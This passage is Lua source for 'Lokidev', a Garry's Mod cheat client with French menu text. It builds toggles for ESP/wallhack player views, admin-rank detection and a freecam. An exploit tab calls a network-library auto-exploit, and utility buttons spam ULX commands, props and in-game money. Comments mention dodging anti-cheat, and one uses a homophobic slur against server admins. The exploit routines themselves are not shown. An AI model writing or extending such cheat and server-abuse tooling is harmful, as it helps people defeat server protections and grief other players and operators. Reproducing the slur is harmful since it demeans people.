  540. if not file.IsDir("Lokidev", "DATA") then
  541. file.CreateDir("Lokidev")
  542. end
  543. --]]
  544. if !file.Exists("Lokidev_settings.dat", "DATA") then ZNX.SaveSettings() return end
  545. local TheFile = file.Read( "Lokidev_settings.dat", "DATA" )
  546. local halves = string.Explode( "--NUMBERVARS--\n", TheFile )
  547. if !halves[2] then file.Delete( "Lokidev_settings.dat" )
  548. ZNX.ChatText( "le fichier de données invalides utilisent un format obsolète! tapez LokiDev_save_settings dans la console pour résoudre ce problème", Color(255,205,205) )
  549. return
  550. end
  551. TheFile = halves[1]
  552. local DataPieces = string.Explode( "\n", TheFile )
  553. for k, v in pairs( DataPieces ) do
  554. local TheLine = string.Explode( ";", v )
  555. ZNX.Vars[TheLine[1]] = tobool(TheLine[2])
  556. end
  557. TheFile = halves[2]
  558. local DataPieces = string.Explode( "\n", TheFile )
  559. for k, v in pairs( DataPieces ) do
  560. local TheLine = string.Explode( ";", v )
  561. ZNX.NumberVars[TheLine[1]] = tonumber(TheLine[2])
  562. end
  563. ZNX.Vars.NameStealer = false
  564. end
  565. concommand.Add("LokiDev_load_settings", ZNX.LoadSettings)
  566. ZNX.LoadSettings() -- load our shit right away
  567. ZNX.Vars.ChatSpam = false -- reset this to false so we dont get cucked by anticheats
  568. -- covert source units(inches) to metres
  569. function ZNX.ToMetric( num )
  570. if not isnumber(num) then return end
  571. return math.floor(num * 0.0254)
  572. end
  573. function Visible( ply )
  574. if (!IsValid( ply )) then return false end
  575. local vecPos, _ = ply:GetBonePosition( ply:LookupBone( "ValveBiped.Bip01_Head1" ) or 12 );
  576. local trace = { start = LocalPlayer():EyePos(), endpos = vecPos, filter = LocalPlayer(), mask = MASK_SHOT };
  577. local traceRes = util.TraceLine( trace );
  578. TraceRes = traceRes;
  579. if (traceRes.HitWorld || traceRes.Entity != ply) then return false end;
  580. return true;
  581. end
  582. -- check if an entity is actually visible on our screen, used to boost efficiency in the xray and esp code
  583. function ZNX.OnScreen( ent, ws )
  584. local ws = ws or 0
  585. local bpos = (ent:LocalToWorld(ent:OBBCenter())):ToScreen()
  586. if ( bpos.x < (ScrW() + ws) and bpos.x > (0 - ws) and bpos.y < (ScrH() + ws) and bpos.y > (0 - ws) ) then return true end
  587. return false
  588. end
  589. function ZNX.IsDead( ply )
  590. if !ply:IsValid() or !ply:Alive() or ply:GetObserverMode() != OBS_MODE_NONE then return true end
  591. return false
  592. end
  593. -- compatible with ulx, assmod, evolve, vermillion 2 and traditional admin/superadmin detection may or may not pick up unknown admin mods
  594. function ZNX.GetRank( ply )
  595. if !ply or !ply:IsValid() then return "user" end
  596. local rank = "user"
  597. if ply:GetNWString("usergroup") then rank = ply:GetNWString("usergroup") return rank end
  598. --if evolve then rank = ply:EV_GetRank() return rank end
  599. if ply:GetNetworkedString( "UserGroup" ) then rank = ply:GetNetworkedString( "UserGroup" ) return rank end
  600. if ply:GetNWString("Vermilion_Rank") then rank = ply:GetNWString("Vermilion_Rank") return rank end
  601. if ply:IsSuperAdmin() then rank = "SUPERADMIN" return rank end
  602. if ply:IsAdmin() then rank = "ADMIN" return rank end
  603. return rank -- if they aren't any kind of admin that we know of then this will return "user"
  604. end
  605. function ZNX.GetESPColor( ply )
  606. local col1, col2 = ZNX.DefaultScheme, ZNX.DefaultScheme2
  607. if ZNX.IsTarget( ply ) then
  608. col1, col2 = Color(255,205,0,255), Color(205,160,0,255)
  609. return col1, col2
  610. end
  611. if ZNX.IsFriend( ply ) then
  612. col1, col2 = Color(0,255,0,255), Color(100,250,100,255)
  613. return col1, col2
  614. end
  615. if ZNX.GetRank( ply ) != "user" then
  616. col1, col2 = Color(255,100,0,255), Color(255,50,0,255)
  617. return col1, col2
  618. end
  619. if ZNX.Vars.TeamColors then
  620. col1 = team.GetColor(ply:Team())
  621. col2 = Color(math.Clamp(col1.r - 100, 0, 255), math.Clamp(col1.g - 100, 0, 255), math.Clamp(col1.b - 100, 0, 255), 255)
  622. return col1, col2
  623. end
  624. return col1, col2
  625. end
  626. -- friends and targets system
  627. function ZNX.AddTarget( ply )
  628. if !ply or !ply:IsValid() then return end
  629. if table.HasValue( ZNX.Targets, ply ) then return end
  630. table.insert( ZNX.Targets, ply )
  631. ZNX.DebugLog( ply:Nick().."Ajouter a votre liste de cibles", Color( 250, 150, 50) )
  632. end
  633. function ZNX.RemoveTarget( ply )
  634. if !ply or !ply:IsValid() then return end
  635. if not table.HasValue( ZNX.Targets, ply ) then ZNX.ChatText( ply:Nick().." n'est pas une cibles", Color(255,205,205) ) return end
  636. table.RemoveByValue( ZNX.Targets, ply )
  637. ZNX.DebugLog( ply:Nick().." Retirer de votre liste de cibles", Color( 250, 150, 50) )
  638. end
  639. function ZNX.IsTarget( ply )
  640. if !ply or !ply:IsValid() then return false end
  641. return table.HasValue( ZNX.Targets, ply )
  642. end
  643. function ZNX.IsFriend( ply )
  644. if !ply or !ply:IsValid() then return false end
  645. return table.HasValue( ZNX.Buddies, ply )
  646. end
  647. function ZNX.AddFriend( ply )
  648. if !ply:IsValid() then return end
  649. if table.HasValue( ZNX.Buddies, ply ) then return end
  650. table.insert( ZNX.Buddies, ply )
  651. ZNX.DebugLog( ply:Nick().." Ajouter a votre liste d'amis'", Color( 50, 250, 50) )
  652. end
  653. function ZNX.RemoveFriend( ply )
  654. if !ply:IsValid() then return end
  655. if not table.HasValue( ZNX.Buddies, ply ) then ZNX.ChatText( ply:Nick().." n'est pas dans votre liste d'amis", Color(255,205,205) ) return end
  656. table.RemoveByValue( ZNX.Buddies, ply )
  657. ZNX.DebugLog( "Vous avez enlever "..ply:Nick().." de votre liste d'amis", Color( 50, 250, 50) )
  658. end
  659. function ZNX.RemoveInvalidFriends()
  660. for k, v in pairs(ZNX.Buddies) do
  661. if !v:IsValid() then table.remove( ZNX.Buddies, k ) end
  662. end
  663. end
  664. gameevent.Listen( "player_spawn" )
  665. hook.Add( "Think", "addsteamfriends", function()
  666. local plys = player.GetAll()
  667. for k, v in pairs(plys) do
  668. if !v:IsValid() then return end
  669. if v:GetFriendStatus() == "friend" and ZNX.Vars.AutoAddSteamFriends and !table.HasValue( ZNX.Buddies, v ) then
  670. ZNX.AddFriend( v )
  671. end
  672. end
  673. end )
  674. -- this is for faggots that attempt to restrict ulx who
  675. function ZNX.Who()
  676. local plys = player.GetAll()
  677. for k, v in pairs(plys) do
  678. if v:GetNWString("usergroup") then
  679. local col = Color( 150, 150, 200, 255 )
  680. if v:GetNWString("usergroup") != "user" then col = Color( 250, 200, 150, 255 ) end
  681. MsgC(col, v:GetName() .. string.rep("\t", math.Round(8 / #v:GetName())), v:GetNWString("usergroup").."\n")
  682. end
  683. end
  684. end
  685. concommand.Add("LokiDev_who", ZNX.Who)
  686. local grad = Material( "gui/gradient" )
  687. local upgrad = Material( "gui/gradient_up" )
  688. local downgrad = Material( "gui/gradient_down" )
  689. local o_color1 = Color(50, 0, 0, 255 )
  690. local o_color2 = Color(155, 155, 155, 255)
  691. function ZNX.ToggleVar( var, fancyname )
  692. if ZNX.Vars[var] then
  693. if ZNX.Vars.Notifications then ZNX.ChatText( fancyname.." Désactiver", Color(255,205,205) ) end
  694. if string.find(var, "Xray") or var == "Vision" then ZNX.XrayShutoff() end -- need to run this function to properly unfuck things that have been xray'd
  695. ZNX.Vars[var] = false
  696. else
  697. if ZNX.Vars.Notifications then ZNX.ChatText( fancyname.." Activer", Color(255,255,255) ) end
  698. ZNX.Vars[var] = true
  699. end
  700. ZNX.SaveSettings()
  701. end
  702. for k, v in pairs(ZNX.Vars) do
  703. concommand.Add("LokiDev_togglevar_"..string.lower(k), function() ZNX.ToggleVar( k, k ) end)
  704. end
  705. function ZNX.ChangeColorScheme( num )
  706. if not isnumber(num) then return end
  707. if num <= 0 or num > #ZNX.DefaultSchemes then print("I don't know how you fucked up this badly but you are trying to change to a colour scheme that doesn't exist!") return end
  708. local c1 = ZNX.DefaultSchemes[num][2]
  709. local c2 = ZNX.DefaultSchemes[num][3]
  710. if ZNX.Vars.Notifications then ZNX.ChatText( "Couleur du menu changé pour: "..ZNX.DefaultSchemes[num][1], c1 ) end
  711. ZNX.DefaultScheme = c1
  712. ZNX.DefaultScheme2 = c2
  713. ZNX.ColScheme = Vector(c1.r / 255, c1.g / 255, c1.b / 255)
  714. ZNX.ColScheme2 = Vector(c2.r / 255, c2.g / 255, c2.b / 255)
  715. -- ZNX.NumberVars.ColorScheme = num -- done inside the button logic
  716. end
  717. function ZNX.MakeToggleButton( parent, x, y, btext, var, vartext, tooltip)
  718. if !parent:IsValid() then return end
  719. local TButton = vgui.Create( "DButton" )
  720. TButton:SetParent( parent )
  721. TButton:SetPos( x, y )
  722. TButton:SetText( btext )
  723. TButton:SetTextColor( Color(255, 255, 255, 255) )
  724. TButton:SetSize( 110, 25 )
  725. if tooltip != nil then TButton:SetToolTip( tooltip ) end
  726. TButton.Paint = function( self, w, h )
  727. surface.SetDrawColor( ZNX.DefaultScheme )
  728. TButton:SetText( btext )
  729. surface.DrawRect( 0, 0, w, h )
  730. surface.SetDrawColor( o_color1 )
  731. surface.SetMaterial( downgrad )
  732. surface.DrawTexturedRect( 0, 0, w, h/ 2 )
  733. if ZNX.Vars[var] then
  734. surface.SetDrawColor( Color(150, 250, 150, 255) )
  735. else
  736. surface.SetDrawColor( Color(100, 100, 100, 255) )
  737. end
  738. surface.DrawOutlinedRect( 0, 0, w, h )
  739. end
  740. TButton.DoClick = function()
  741. ZNX.ToggleVar( var, vartext )
  742. end
  743. end
  744. function ZNX.MakeFunctionButton( parent, x, y, btext, func, tooltip)
  745. if !parent:IsValid() then return end
  746. local TButton = vgui.Create( "DButton" )
  747. TButton:SetParent( parent )
  748. TButton:SetPos( x, y )
  749. TButton:SetText( btext )
  750. TButton:SetTextColor( Color(255, 255, 255, 255) )
  751. TButton:SetSize( 110, 25 )
  752. if tooltip != nil then TButton:SetToolTip( tooltip ) end
  753. TButton.Paint = function( self, w, h )
  754. surface.SetDrawColor( ZNX.DefaultScheme )
  755. TButton:SetText( btext )
  756. surface.DrawRect( 0, 0, w, h )
  757. surface.SetDrawColor( o_color1 )
  758. surface.SetMaterial( downgrad )
  759. surface.DrawTexturedRect( 0, 0, w, h/ 2 )
  760. surface.SetDrawColor( Color(100, 100, 100, 255) )
  761. surface.DrawOutlinedRect( 0, 0, w, h )
  762. end
  763. TButton.DoClick = function()
  764. func()
  765. end
  766. end
  767. function ZNX.MakeFloatingButton( x, y, btext, func)
  768. local TButton = vgui.Create( "DButton" )
  769. TButton:SetPos( x, y )
  770. TButton:SetText( btext )
  771. TButton:SetTextColor( Color(255, 255, 255, 255) )
  772. TButton:SetSize( 110, 25 )
  773. TButton.Paint = function( self, w, h )
  774. surface.SetDrawColor( ZNX.DefaultScheme )
  775. TButton:SetText( btext )
  776. surface.DrawRect( 0, 0, w, h )
  777. surface.SetDrawColor( Color(100, 100, 100, 255) )
  778. surface.DrawOutlinedRect( 0, 0, w, h )
  779. end
  780. if !DarkRP then
  781. hook.Add( "Think", "Screen.Clickable", function()
  782. gui.EnableScreenClicker( input.IsKeyDown( KEY_F3 ) )
  783. end )
  784. end
  785. TButton.DoClick = function()
  786. func()
  787. end
  788. return TButton
  789. end
  790. function ZNX.MakeSlider( parent, x, y, length, text, min, max, var )
  791. if !parent:IsValid() then return end
  792. local sbg = vgui.Create( "DPanel" )
  793. sbg:SetParent( parent )
  794. sbg:SetPos( x, y )
  795. sbg:SetSize( length, 25 )
  796. sbg.Paint = function( self, w, h ) -- Paint function
  797. surface.SetDrawColor( ZNX.DefaultScheme )
  798. surface.DrawRect(0, 0, w, h )
  799. surface.SetDrawColor( o_color1 )
  800. surface.SetMaterial( downgrad )
  801. surface.DrawTexturedRect( 0, 0, w, h/ 2 )
  802. surface.SetDrawColor( 90, 50, 50, 255 )
  803. surface.DrawOutlinedRect(0, 0, w, h )
  804. end
  805. local NumSlider = vgui.Create( "DNumSlider", sbg )
  806. NumSlider:SetPos( 10,-5 )
  807. NumSlider:SetWide( length - 10 )
  808. NumSlider:SetText( text )
  809. NumSlider:SetMin( min )
  810. NumSlider:SetMax( max )
  811. NumSlider:SetValue( ZNX.NumberVars[var] )
  812. NumSlider:SetDecimals( 0 )
  813. NumSlider.OnValueChanged = function( panel, val ) ZNX.NumberVars[var] = math.floor(val) end
  814. end
  815. function ZNX.MakeKeyBinder( parent, x, y, length, height, keyvar, changetxt )
  816. local binder = vgui.Create( "DBinder", parent )
  817. binder:SetSize( length, height )
  818. binder:SetPos( x, y )
  819. binder:SetTextColor( Color(255,255,255) )
  820. binder:SetSelected( ZNX.NumberVars[keyvar] )
  821. binder.Paint = function( self, w, h )
  822. surface.SetDrawColor( ZNX.DefaultScheme )
  823. surface.DrawRect( 0, 0, w, h )
  824. surface.SetDrawColor( o_color1 )
  825. surface.SetMaterial( downgrad )
  826. surface.DrawTexturedRect( 0, 0, w, h/ 2 )
  827. surface.SetDrawColor( Color(100, 100, 100, 255) )
  828. surface.DrawOutlinedRect( 0, 0, w, h )
  829. end
  830. function binder:SetSelectedNumber( num )
  831. ZNX.ChatText( "Ajouter "..changetxt.." touche", Color(255,255,255) )
  832. self.m_iSelectedNumber = num
  833. ZNX.NumberVars[keyvar] = num
  834. end
  835. end
  836. ------------------------------------------------------------------------Lokidev MENU--------------------------------------------------------------------------------------
  837. function ZNX.Menu()
  838. if AceMenu then return false end
  839. local AceMenu = vgui.Create("DFrame")
  840. AceMenu:SetSize(500,700)
  841. AceMenu:SetTitle("")
  842. AceMenu:Center()
  843. AceMenu:MakePopup()
  844. AceMenu.Paint = function( panel, w, h )
  845. surface.SetDrawColor( ZNX.DefaultScheme )
  846. surface.DrawRect( 0, 0, w, h )
  847. surface.SetDrawColor( o_color1 )
  848. surface.SetMaterial( upgrad )
  849. surface.DrawTexturedRect( 0, h / 2, w, h / 2 )
  850. surface.SetDrawColor( o_color1 )
  851. surface.SetMaterial( downgrad )
  852. surface.DrawTexturedRect( 0, 0, w, h/ 2 )
  853. surface.SetDrawColor( o_color2 )
  854. surface.DrawOutlinedRect( 0, 0, w, h )
  855. surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
  856. end
  857. local PropertySheet = vgui.Create( "DPropertySheet" )
  858. PropertySheet:SetParent( AceMenu )
  859. PropertySheet:SetPos( 10, 30 )
  860. PropertySheet:SetSize( 480, AceMenu:GetTall() - 40 )
  861. PropertySheet.Paint = function()
  862. surface.SetDrawColor( Color(0, 0, 0, 200) )
  863. surface.DrawRect(0, 0, PropertySheet:GetWide(), PropertySheet:GetTall())
  864. for k, v in pairs(PropertySheet.Items) do
  865. if v.Tab then
  866. v.Tab.Paint = function(self,w,h)
  867. draw.RoundedBox(0, 0, 0, w, h, Color(80,80,80))
  868. end
  869. end
  870. end
  871. end
  872. --------------------------------------------Tabs-------------------------------------------
  873. local General = vgui.Create( "DPanel" )
  874. General:SetPos( 0, 0 )
  875. General:SetSize( 480, AceMenu:GetTall() - 40 )
  876. General.Paint = function() -- Paint function
  877. surface.SetDrawColor(50, 50, 50 ,255)
  878. surface.DrawOutlinedRect(0, 0, General:GetWide(), General:GetTall())
  879. surface.SetDrawColor(0, 0, 0 ,200)
  880. surface.DrawRect(0, 0, General:GetWide(), General:GetTall())
  881. surface.SetDrawColor( 90, 50, 50, 255 )
  882. surface.DrawRect(0, 40, General:GetWide(), 2)
  883. end
  884. local Utility = vgui.Create( "DPanel" )
  885. Utility:SetPos( 0, 0 )
  886. Utility:SetSize( 480, AceMenu:GetTall() - 40 )
  887. Utility.Paint = function() -- Paint function
  888. surface.SetDrawColor(50, 50, 50 ,255)
  889. surface.DrawOutlinedRect(0, 0, Utility:GetWide(), Utility:GetTall())
  890. surface.SetDrawColor(0, 0, 0 ,200)
  891. surface.DrawRect(0, 0, Utility:GetWide(), Utility:GetTall())
  892. end
  893. local UtilityButton = vgui.Create( "DButton" )
  894. UtilityButton:SetParent( Utility )
  895. UtilityButton:SetPos( 5, 360 )
  896. UtilityButton:SetText( "Spam DarkRP Animation: "..animatinginfo)
  897. UtilityButton:SetTextColor( Color(255, 255, 255, 255) )
  898. UtilityButton:SetSize( 225, 25 )
  899. if tooltip != nil then UtilityButton:SetToolTip( tooltip ) end
  900. UtilityButton.Paint = function( self, w, h )
  901. surface.SetDrawColor( ZNX.DefaultScheme )
  902. UtilityButton:SetText( "Spam DarkRP Animation: "..animatinginfo)
  903. surface.DrawRect( 0, 0, w, h )
  904. surface.SetDrawColor( o_color1 )
  905. surface.SetMaterial( downgrad )
  906. surface.DrawTexturedRect( 0, 0, w, h/ 2 )
  907. surface.SetDrawColor( Color(100, 100, 100, 255) )
  908. surface.DrawOutlinedRect( 0, 0, w, h )
  909. end
  910. UtilityButton.DoClick = function ()
  911. Animation() -- What happens when you press the button
  912. end
  913. local UtilityButton2 = vgui.Create( "DButton" )
  914. UtilityButton2:SetParent( Utility )
  915. UtilityButton2:SetPos( 235, 360 )
  916. UtilityButton2:SetText( "ULX Commande Spammer: "..info_ulx_spam)
  917. UtilityButton2:SetTextColor( Color(255, 255, 255, 255) )
  918. UtilityButton2:SetSize( 225, 25 )
  919. if tooltip != nil then UtilityButton2:SetToolTip( tooltip ) end
  920. UtilityButton2.Paint = function( self, w, h )
  921. surface.SetDrawColor( ZNX.DefaultScheme )
  922. UtilityButton2:SetText( "ULX Commande Spammer: "..info_ulx_spam)
  923. surface.DrawRect( 0, 0, w, h )
  924. surface.SetDrawColor( o_color1 )
  925. surface.SetMaterial( downgrad )
  926. surface.DrawTexturedRect( 0, 0, w, h/ 2 )
  927. surface.SetDrawColor( Color(100, 100, 100, 255) )
  928. surface.DrawOutlinedRect( 0, 0, w, h )
  929. end
  930. UtilityButton2.DoClick = function ()
  931. ULXspam() -- What happens when you press the button
  932. end
  933. local UtilityButton3 = vgui.Create( "DButton" )
  934. UtilityButton3:SetParent( Utility )
  935. UtilityButton3:SetPos( 235, 480 )
  936. UtilityButton3:SetText( "Props Spammer: "..spam_props_text)
  937. UtilityButton3:SetTextColor( Color(255, 255, 255, 255) )
  938. UtilityButton3:SetSize( 225, 25 )
  939. if tooltip != nil then UtilityButton3:SetToolTip( tooltip ) end
  940. UtilityButton3.Paint = function( self, w, h )
  941. surface.SetDrawColor( ZNX.DefaultScheme )
  942. UtilityButton3:SetText( "Props Spammer: "..spam_props_text)
  943. surface.DrawRect( 0, 0, w, h )
  944. surface.SetDrawColor( o_color1 )
  945. surface.SetMaterial( downgrad )
  946. surface.DrawTexturedRect( 0, 0, w, h/ 2 )
  947. surface.SetDrawColor( Color(100, 100, 100, 255) )
  948. surface.DrawOutlinedRect( 0, 0, w, h )
  949. end
  950. UtilityButton3.DoClick = function ()
  951. PropSpam() -- What happens when you press the button
  952. end
  953. local UtilityButton4 = vgui.Create( "DButton" )
  954. UtilityButton4:SetParent( Utility )
  955. UtilityButton4:SetPos( 235, 540 )
  956. UtilityButton4:SetText( "DarkRP Billet Spammer: "..billet_spam)
  957. UtilityButton4:SetTextColor( Color(255, 255, 255, 255) )
  958. UtilityButton4:SetSize( 225, 25 )
  959. if tooltip != nil then UtilityButton4:SetToolTip( tooltip ) end
  960. UtilityButton4.Paint = function( self, w, h )
  961. surface.SetDrawColor( ZNX.DefaultScheme )
  962. UtilityButton4:SetText( "DarkRP Billet Spammer: "..billet_spam)
  963. surface.DrawRect( 0, 0, w, h )
  964. surface.SetDrawColor( o_color1 )
  965. surface.SetMaterial( downgrad )
  966. surface.DrawTexturedRect( 0, 0, w, h/ 2 )
  967. surface.SetDrawColor( Color(100, 100, 100, 255) )
  968. surface.DrawOutlinedRect( 0, 0, w, h )
  969. end
  970. UtilityButton4.DoClick = function ()
  971. Moneyssuperspam() -- What happens when you press the button
  972. end
  973. local Exploit = vgui.Create( "DPanel" )
  974. Exploit:SetPos( 0, 0 )
  975. Exploit:SetSize( 480, AceMenu:GetTall() - 40 )
  976. Exploit.Paint = function() -- Paint function
  977. surface.SetDrawColor(50, 50, 50 ,255)
  978. surface.DrawOutlinedRect(0, 0, Exploit:GetWide(), Exploit:GetTall())
  979. surface.SetDrawColor(0, 0, 0 ,200)
  980. surface.DrawRect(0, 0, Exploit:GetWide(), Exploit:GetTall())
  981. end
  982. if !Exploit:IsValid() then return end
  983. local ExploitButton = vgui.Create( "DButton" )
  984. ExploitButton:SetParent( Exploit )
  985. ExploitButton:SetPos( 5, 10 )
  986. ExploitButton:SetText( "Lokidev Exploit Menu" )
  987. ExploitButton:SetTextColor( Color(255, 255, 255, 255) )
  988. ExploitButton:SetSize( 454, 25 )
  989. if tooltip != nil then ExploitButton:SetToolTip( tooltip ) end
  990. ExploitButton.Paint = function( self, w, h )
  991. surface.SetDrawColor( ZNX.DefaultScheme )
  992. ExploitButton:SetText( "Lokidev Exploit Menu" )
  993. surface.DrawRect( 0, 0, w, h )
  994. surface.SetDrawColor( o_color1 )
  995. surface.SetMaterial( downgrad )
  996. surface.DrawTexturedRect( 0, 0, w, h/ 2 )
  997. surface.SetDrawColor( Color(100, 100, 100, 255) )
  998. surface.DrawOutlinedRect( 0, 0, w, h )
  999. end
  1000. ExploitButton.DoClick = function ()
  1001. if AceMenu then
  1002. AceMenu:Close()
  1003. end
  1004. RunConsoleCommand( "exploit_menu" ) -- What happens when you press the button
  1005. end
  1006. local Exploit2Button = vgui.Create( "DButton" )
  1007. Exploit2Button:SetParent( Exploit )
  1008. Exploit2Button:SetPos( 5, 40 )
  1009. Exploit2Button:SetText( "Lokidev Exploit Menu" )
  1010. Exploit2Button:SetTextColor( Color(255, 255, 255, 255) )
  1011. Exploit2Button:SetSize( 454, 25 )
  1012. if tooltip != nil then Exploit2Button:SetToolTip( tooltip ) end
  1013. Exploit2Button.Paint = function( self, w, h )
  1014. surface.SetDrawColor( ZNX.DefaultScheme )
  1015. Exploit2Button:SetText( "Net Library Auto Exploit: "..statutautoexploit )
  1016. surface.DrawRect( 0, 0, w, h )
  1017. surface.SetDrawColor( o_color1 )
  1018. surface.SetMaterial( downgrad )
  1019. surface.DrawTexturedRect( 0, 0, w, h/ 2 )
  1020. surface.SetDrawColor( Color(100, 100, 100, 255) )
  1021. surface.DrawOutlinedRect( 0, 0, w, h )
  1022. end
  1023. Exploit2Button.DoClick = function ()
  1024. AutoNetExploit()
  1025. end
  1026. local Botsettings = vgui.Create( "DPanel" )
  1027. Botsettings:SetPos( 0, 0 )
  1028. Botsettings:SetSize( 480, AceMenu:GetTall() - 40 )
  1029. Botsettings.Paint = function() -- Paint function
  1030. surface.SetDrawColor(50, 50, 50 ,255)
  1031. surface.DrawOutlinedRect(0, 0, Botsettings:GetWide(), Botsettings:GetTall())
  1032. surface.SetDrawColor(0, 0, 0 ,200)
  1033. surface.DrawRect(0, 0, Botsettings:GetWide(), Botsettings:GetTall())
  1034. end
  1035. local Debug = vgui.Create( "DPanel" )
  1036. Debug:SetPos( 0, 0 )
  1037. Debug:SetSize( 480, AceMenu:GetTall() - 40 )
  1038. Debug.Paint = function() -- Paint function
  1039. surface.SetDrawColor(50, 50, 50 ,255)
  1040. surface.DrawOutlinedRect(0, 0, Debug:GetWide(), Debug:GetTall())
  1041. surface.SetDrawColor(0, 0, 0 ,200)
  1042. surface.DrawRect(0, 0, Debug:GetWide(), Debug:GetTall())
  1043. if ZNX.MemoryDebug then
  1044. draw.DrawText( "Visuel Utilisation de la RAM: "..ZNX.MemoryDebug["hud"].."kb", "Default", 10, 530, Color(255,255,255) )
  1045. draw.DrawText( "Noyau logique Utilisation de la RAM: "..ZNX.MemoryDebug["logic"].."kb", "Default", 10, 545, Color(255,255,255) )
  1046. draw.DrawText( "Aimbot Utilisation de la RAM: "..ZNX.MemoryDebug["aimbot"].."kb", "Default", 10, 560, Color(255,255,255) )
  1047. surface.SetDrawColor( ZNX.DefaultScheme )
  1048. surface.DrawRect(250, 532, math.Clamp( ZNX.MemoryDebug["hud"] * 0.75, 0, 200), 10 )
  1049. surface.DrawRect(250, 547, math.Clamp( ZNX.MemoryDebug["logic"] * 20, 0, 200), 10 )
  1050. surface.DrawRect(250, 562, math.Clamp( ZNX.MemoryDebug["aimbot"] * 20, 0, 200), 10 )
  1051. surface.SetDrawColor( ZNX.DefaultScheme )
  1052. surface.DrawOutlinedRect(250, 532, 200, 10 )
  1053. surface.DrawOutlinedRect(250, 547, 200, 10 )
  1054. surface.DrawOutlinedRect(250, 562, 200, 10 )
  1055. end
  1056. end
  1057. --------------------------------------------Buttons-------------------------------------------
  1058. function ZNX.RefreshConsole()
  1059. if richtext then richtext:Remove() end
  1060. if !ValidPanel(Debug) then return end
  1061. richtext = vgui.Create( "RichText", Debug )
  1062. richtext:SetPos(5, 5)
  1063. richtext:SetSize( 440, AceMenu:GetTall() - 180 )
  1064. for idx, tab in pairs(ZNX.Debug) do
  1065. richtext:InsertColorChange( tab[2].r, tab[2].g, tab[2].b, 255 )
  1066. richtext:AppendText( tab[1].."\n" )
  1067. end
  1068. end
  1069. timer.Create("znx_refreshconsole", 1.5, 0, function() ZNX.RefreshConsole() end)
  1070. ZNX.MakeToggleButton( General, 5, 10, "Vision", "Vision", "Vision")
  1071. ZNX.MakeSlider( General, 5, 590, 455, "Distance de Vision Max (Metres)", 0, 2000, "VisionDist" )
  1072. ZNX.MakeToggleButton( General, 5, 70, "Activer ESP", "ShowESP", "Activer ESP")
  1073. ZNX.MakeToggleButton( General, 120, 70, "Afficher Joueur Mort", "ShowDead", "Afficher les joueurs morts")
  1074. ZNX.MakeToggleButton( General, 235, 70, "Afficher Amis", "ShowFriends", "Afficher Amis")
  1075. --ZNX.MakeToggleButton( General, 350, 70, "Couleur Joueur Radar", "RadarColors", "Couleur des joueurs sur le radar")
  1076. ZNX.MakeToggleButton( General, 350, 100, "Afficher Arme", "ArmeESP", "Afficher l'arme equiper")
  1077. ZNX.MakeToggleButton( General, 235, 100, "Afficher Cible(s)", "ShowTargets", "Afficher Cible(s)", "Afficher les joueurs qui figurent sur votre liste de cibles")
  1078. ZNX.MakeToggleButton( General, 120, 100, "Afficher les Admins", "ShowRanks", "Afficher les Admins")
  1079. ZNX.MakeToggleButton( General, 5, 100, "Afficher la Distance", "ShowDistance", "Afficher la Distance des joueurs")
  1080. ZNX.MakeToggleButton( General, 5, 130, "Afficher les Props", "ESPProps", "Afficher les Props")
  1081. ZNX.MakeToggleButton( General, 120, 130, "Afficher Entité Menu", "Entfinder", "Afficher Entité Menu")
  1082. ZNX.MakeToggleButton( General, 235, 130, "Couleur du Métier", "TeamColors", "Afficher la Couleur du Métier")
  1083. ZNX.MakeToggleButton( General, 235, 160, "Afficher les NPC", "NPC_ESP", "Afficher les NPC")
  1084. ZNX.MakeToggleButton( General, 350, 130, "Afficher Vie", "ShowHP", "Afficher Vie")
  1085. ZNX.MakeToggleButton( General, 5, 490, "Lignes de Vision", "Vizlines", "Lignes de Vision")
  1086. ZNX.MakeToggleButton( General, 120, 490, "Ajouter Amis Steam", "AutoAddSteamFriends", "Ajouter automatiquement les amis steam a l'esp")
  1087. ZNX.MakeToggleButton( General, 5, 160, "Afficher la Position", "VSquares", "Afficher la position des joueurs")
  1088. ZNX.MakeToggleButton( General, 120, 160, "Afficher Noms", "VNames", "Afficher noms des joueurs")
  1089. ZNX.MakeToggleButton( General, 350, 160, "Afficher Argent", "ArgentESP", "Afficher l'argent des joueur a l'esp")
  1090. ZNX.MakeToggleButton( General, 5, 190, "Miroir Vision Arrière", "Mirror", "Affiche un miroir vision arrière")
  1091. ZNX.MakeSlider( General, 5, 225, 225, "Miroir X", 0, ScrW(), "MirrorX" )
  1092. ZNX.MakeSlider( General, 235, 225, 220, "Miroir Y", 0, ScrH(), "MirrorY" )
  1093. ZNX.MakeSlider( General, 235, 190, 220, "Taille Miroir", 0, 60, "MirrorSize" )
  1094. ZNX.MakeFunctionButton( General, 120, 190, "Axe Vertical Miroir", function()
  1095. if ZNX.NumberVars.MirrorAxis == 0 then
  1096. if ZNX.Vars.Notifications then ZNX.ChatText( "Réglez le mode d'axe du miroir sur imiter", Color(255,255,255) ) end
  1097. ZNX.NumberVars.MirrorAxis = 1
  1098. elseif ZNX.NumberVars.MirrorAxis == 1 then
  1099. if ZNX.Vars.Notifications then ZNX.ChatText( "Réglez le mode d'axe du miroir sur inverser", Color(255,255,255) ) end
  1100. ZNX.NumberVars.MirrorAxis = 2
  1101. else
  1102. if ZNX.Vars.Notifications then ZNX.ChatText( "Réglez le mode d'axe du miroir sur rien", Color(255,255,255) ) end
  1103. ZNX.NumberVars.MirrorAxis = 0
  1104. end
  1105. end)
  1106. ZNX.MakeFunctionButton( General, 5, 260, "Basculer CameraLibre", function()
  1107. ZNX.Freecam = !ZNX.Freecam
  1108. ZNX.ChatText( "Réglez le mode CameraLibre sur: "..tostring(ZNX.Freecam), Color(255,255,255) )
  1109. end, "Détecte le miroir et le transforme en un système de cameralibre")
  1110. ZNX.MakeFunctionButton( General, 120, 260, "Ramener CameraLibre", function()
  1111. ZNX.FreecamCoordinates.pos = LocalPlayer():EyePos()
  1112. ZNX.FreecamCoordinates.ang = LocalPlayer():EyeAngles()
  1113. ZNX.ChatText( "Ramener CameraLibre", Color(255,255,255) )
  1114. end, "Ramener la cameralibre a votre position de vue")
  1115. ZNX.MakeToggleButton( General, 120, 290, "CameraLibre Mobile", "FreecamControls", "CameraLibre Mobile")
  1116. ZNX.MakeKeyBinder(General, 400, 260, 50, 20, "FreecamForward", "CameraLibre Avancer" )
  1117. ZNX.MakeKeyBinder(General, 400, 290, 50, 20, "FreecamBack", "CameraLibre Reculer" )
  1118. ZNX.MakeKeyBinder(General, 235, 275, 50, 20, "FreecamLeft", "CameraLibre Gauche" )
